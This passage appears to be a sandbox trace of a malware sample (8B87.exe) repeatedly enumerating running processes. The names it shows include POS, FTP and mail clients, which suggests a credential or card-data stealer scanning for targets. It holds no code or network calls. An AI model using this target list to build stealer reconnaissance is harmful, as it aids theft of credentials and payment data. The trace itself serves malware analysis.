dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0276.397] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0276.434] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0276.437] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0276.440] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0276.443] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0276.446] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0276.449] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0276.453] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.456] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0276.458] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0276.461] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0276.465] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0276.468] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0276.471] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0276.474] CloseHandle (hObject=0x1978) returned 1 [0276.474] Sleep (dwMilliseconds=0x64) [0276.476] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1978 [0276.493] Process32First (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0276.495] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0276.498] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0276.508] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0276.512] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0276.514] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0276.516] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0276.519] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0276.521] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0276.523] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.526] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.528] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0276.530] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.533] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.535] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.537] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.539] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.541] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.543] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.545] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0276.547] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0276.579] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0276.582] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.584] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0276.586] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0276.589] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0276.590] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0276.592] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0276.594] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0276.596] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0276.599] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.601] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0276.604] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0276.607] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0276.609] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0276.611] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0276.613] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0276.615] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0276.617] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0276.619] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0276.622] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0276.623] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0276.626] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0276.628] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0276.630] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0276.632] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0276.634] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0276.636] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0276.639] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0276.641] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0276.642] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0276.644] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0276.646] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0276.648] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0276.650] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0276.652] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0276.653] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0276.655] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0276.658] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0276.660] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0276.663] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0276.665] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0276.667] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0276.672] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0276.674] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0276.676] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0276.679] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0276.681] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0276.683] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, 